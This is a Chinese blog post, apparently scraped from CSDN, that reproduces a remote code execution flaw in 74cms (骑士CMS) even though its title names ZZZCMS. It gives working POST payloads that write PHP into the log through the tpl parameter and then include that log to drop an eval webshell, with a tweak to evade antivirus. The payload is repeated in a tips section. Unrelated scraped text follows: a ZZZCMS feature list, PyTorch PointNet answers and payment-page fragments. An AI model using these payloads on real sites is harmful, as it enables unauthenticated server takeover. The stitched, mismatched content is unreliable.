(环境搭建+复现)ZZZCMS模版注入+文件包含getshell

0x00 简介

骑士CMS人才招聘系统是基于PHP+MYSQL的免费网站管理系统源码,提供完善的人才招聘网站建设方案。

0x01 漏洞概述

骑士 CMS 官方发布安全更新,修复了一处远程代码执行漏洞。由于骑士 CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

0x02 影响版本

骑士 CMS < 6.0.48

0x03 环境搭建

1、下载最新版74cms。

https://www.74cms.com/download/index.html

2、使用phpstudy进行搭建。

进入upload目录即可进入安装程序。

0x04 漏洞利用

1、首先通过日志写入Payload。这么写payload因为测试环境我的Defender报毒了,就简单变形一下即可绕过。

POST /74cms_Home_Setup_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1

variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php \$a=\$_POST['x'];\$b='a';eval(\$\$b);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

2、包含日志。默认日志位置为data/Runtime/Logs/Home/Y_M_D.log

POST /74cms_Home_Setup_v6.0.20/upload/index.php?m=home&a=assign_resume_tpl HTTP/1.1

variable=1&tpl=data/Runtime/Logs/Home/20_12_16.log

3、此时根目录下就会生成shell.php文件。

4、连接即可。

0x05 修复方式

http://www.74cms.com/news/show-2497.html

从官方公布的信息来看,官方修复了两个地方:

1、/Application/Common/Controller/BaseController.class.php

左图修复前,右图为修复后。

$view->parseTemplate对$tpl参数进行处理,并对处理结果$tpl_file进行is_file判断。后续主要判断传入的是否为文件。

2、/ThinkPHP/Library/Think/View.class.php

左图修复前,右图为修复后。

主要更改的是,新版本日志不再包含模板名称。也就无法写入payload。

0x06 Tips:

payload:

variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php \$a=\$_POST['x'];\$b='a';eval(\$\$b);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

将PHP代码写入文件时,$符号需要使用反斜杠进行转义,否则会被识别为变量从而报错。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
zzzcms采用asp+access Utf-8进行开发,软件绿色且可直接使用,直接上传到空间内即可使用。 zzzcms就是要打造一款简单、易用、舒服的建站系统,zzzcms的管理系统处处为了让站长更节省时间,减少站长和管理员工作,在交互上尽量减少操作步骤,降低确认,返回,知道了等按钮的出现,并支持按键exc,ctrl+enter返回和提交功能。 集成好了自动关键词,自动描述,自动拼音,留言模块,会员模块,产品相册模块,百度地图模块,qq客服模块,自动静态,翻页样式,批量传图,批量加栏目等等,后续还会增加更多方便、实用的模块。 功能模块: 1.支持电脑端+手机端,支持无缝切换。 2.支持站内模糊搜索。 3.支持会员系统,找回密码,会员头像等。 4.支持内容会员权限功能。 5.集成两套qq客服,支持多个qq,多个电话,多个联系人。 6.支持全站自动静态,支持伪静态+静态缓存。 7.支持数据库备份、恢复功能。 8.支持session、cookie模式切换,香港空间不怕狂掉线了。 9.支持批量上传图片,自定义参数,自动关键词,描述,tag标签等。 10.支持上传文件管理,支持冗余检测。 11.支持模板切换、管理,在线模板。 12.支持插件热插拔,在线插件。 13.支持留言、管理员回复。 14.支持aspjpeg水印,支持png透明水印。 15.支持jmail邮件提醒,支持配置设定。 16.支持验证码开关。 17.支持批量添加栏目,支持无线级栏目。 18.支持栏目模型管理。 19.支持栏目模型自定义参数管理。 20.支持幻灯管理,幻灯数量和分组不限。 21.支持友情链接管理。 22.支持广告管理。 23.支持Tag标签。 24.支持自定义内容。 25.支持首页翻页。 26.支持百度地图标注,自动生成。 27.支持网站logo,手机logo,微信图片的上传。 插件功能: 1.会员投稿功能插件。 2.内链关键词功能插件。 3.筛选功能插件。 4.顶踩、赞一个、推荐功能插件。 5.全功能自定义表单插件。 6.评论插件
### 回答1: 好的,以下是使用PyTorch复现PointNet++的步骤: 1. 安装PyTorch和其他必要的库,如numpy、scipy、h5py等。 2. 下载PointNet++的代码和数据集。可以从官方GitHub仓库下载代码,数据集可以从官方网站下载。 3. 将数据集转换为PyTorch可以处理的格式。可以使用h5py库读取数据集,然后将数据转换为PyTorch张量。 4. 编写模型代码。PointNet++的模型代码可以在PointNet++的GitHub仓库中找到。将代码转换为PyTorch版本并进行必要的修改。 5. 训练模型。使用PyTorch的优化器和损失函数训练模型。可以使用PyTorch的DataLoader加载数据集,并使用PyTorch的GPU加速训练过程。 6. 测试模型。使用测试集测试模型的性能。可以使用PyTorch的评估函数计算模型的准确率和其他指标。 7. 调整模型。根据测试结果调整模型的参数和架构,以提高模型的性能。 以上是使用PyTorch复现PointNet++的基本步骤。需要注意的是,这只是一个大致的指导,具体的实现过程可能会因为数据集和模型的不同而有所不同。 ### 回答2: PointNet 是一种用于点云数据的深度学习模型,其对点云进行全局池化(global pooling)以及局部特征学习(local feature learning)的方法使得其在各种场景中取得了非常好的结果。本文将介绍如何使用 PyTorch 复现 PointNet 模型。 首先,我们需要准备数据。PointNet 接收的输入是点云,我们可以通过采样或者转换方法将 mesh 数据转换为点云数据。在转换为点云后,我们可以将点云转换为 numpy array,并使用 PyTorch 的 DataLoader 进行数据预处理。在这里我们使用 ModelNet40 数据集进行实验。 接下来,我们需要定义 PointNet 模型的结构。PointNet 包括两个编码器和一个分类器。编码器用于从点云中提取特征信息,分类器用于将提取的特征映射到具体的分类标签。这里我们定义一个函数 PointNetCls,将编码器和分类器都封装在这个函数中。 ```python import torch.nn as nn import torch.nn.functional as F import torch.optim as optim class PointNetCls(nn.Module): def __init__(self, k=40): super(PointNetCls, self).__init__() self.k = k self.conv1 = nn.Conv1d(3, 64, 1) self.conv2 = nn.Conv1d(64, 128, 1) self.conv3 = nn.Conv1d(128, 1024, 1) self.fc1 = nn.Linear(1024, 512) self.fc2 = nn.Linear(512, 256) self.fc3 = nn.Linear(256, k) def forward(self, x): batchsize = x.size()[0] x = F.relu(self.conv1(x)) x = F.relu(self.conv2(x)) x = F.relu(self.conv3(x)) x = torch.max(x, 2, keepdim=True)[0] x = x.view(-1, 1024) x = F.relu(self.fc1(x)) x = F.relu(self.fc2(x)) x = self.fc3(x) return F.log_softmax(x, dim=1) ``` 具体来讲,我们先使用三个卷积层提取特征信息,然后使用 max pooling 进行池化,最后通过三个全连接层将提取的特征映射到具体的分类标签。特别的,我们将最后一层的输出使用 softmax 函数来进行分类。 训练过程如下: ```python device = torch.device("cuda" if torch.cuda.is_available() else "cpu") model = PointNetCls().to(device) optimizer = optim.Adam(model.parameters(), lr=0.001) for epoch in range(300): model.train() for batch_id, (data, label) in enumerate(train_loader): optimizer.zero_grad() data, label = data.to(device), label.to(device) pred = model(data) loss = F.nll_loss(pred, label) loss.backward() optimizer.step() print(f'Epoch {epoch}: Training Loss: {loss.item()}') model.eval() correct = 0 for data, label in test_loader: data, label = data.to(device), label.to(device) pred = model(data) pred = pred.data.max(1)[1] correct += pred.eq(label.data).cpu().sum() accuracy = correct.item() / float(len(test_loader.dataset)) print(f'Epoch {epoch}: Testing Accuracy: {accuracy}') ``` 可以看到,在训练阶段我们使用 Adam 优化器来优化模型,并使用负对数似然对数函数作为损失函数。在测试阶段我们将模型设置为评价模式,并使用预测结果和真实标签的比对结果计算准确率。 通过以上步骤,我们已经完成了一个 PointNet 的 PyTorch 实现。当然,为了提高准确率我们还可以对模型结构进行优化,如引入 dropout、batch normalization 等结构,或者将模型拓展到 PointNet++ 等更加优秀的架构。 ### 回答3: PointNet是一种针对点云数据进行分类和分割的深度学习模型,其在处理三维几何数据方面具有很好的效果,也被广泛应用于许多领域。为了复现PointNet模型,我们可以使用Pytorch框架进行实现。下面是针对PointNet复现的详细步骤: 一、准备数据 首先需要准备点云数据集,我们可以使用ShapeNet数据集中的某些部分进行测试。我们需要将点云数据转化为numpy数组形式,并将其划分为训练集和验证集。 二、数据预处理 在进行训练工作之前,我们需要将点云数据进行预处理,包括点云的标准化和噪声过滤等操作。处理后的数据可以使用dataloader以batch的形式进行加载。 三、搭建模型 我们可以按照PointNet的论文中的模型结构进行搭建。线性变换、最大池化和ReLU激活层的堆叠是构成模型的主要部分。我们需要使用Pytorch中定义模型的方法实现PointNet模型。 四、训练模型 我们可以使用Pytorch自带的优化器,如Adam优化器来训练PointNet模型。在每个epoch结束后,我们可以计算模型在验证集上的精度和准确度,以评估模型性能。 五、测试模型 完成模型训练后,我们可以使用Pytorch中的模型预测方法对新的未见数据进行分类和分割预测。 这些就是复现PointNet模型的详细步骤。此外,还需要注意一些细节问题,例如使用GPU加速训练、采用KNN算法处理最近邻等。借助Pytorch框架,我们可以轻松地实现PointNet模型,从而应用到更多的实际场景中。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值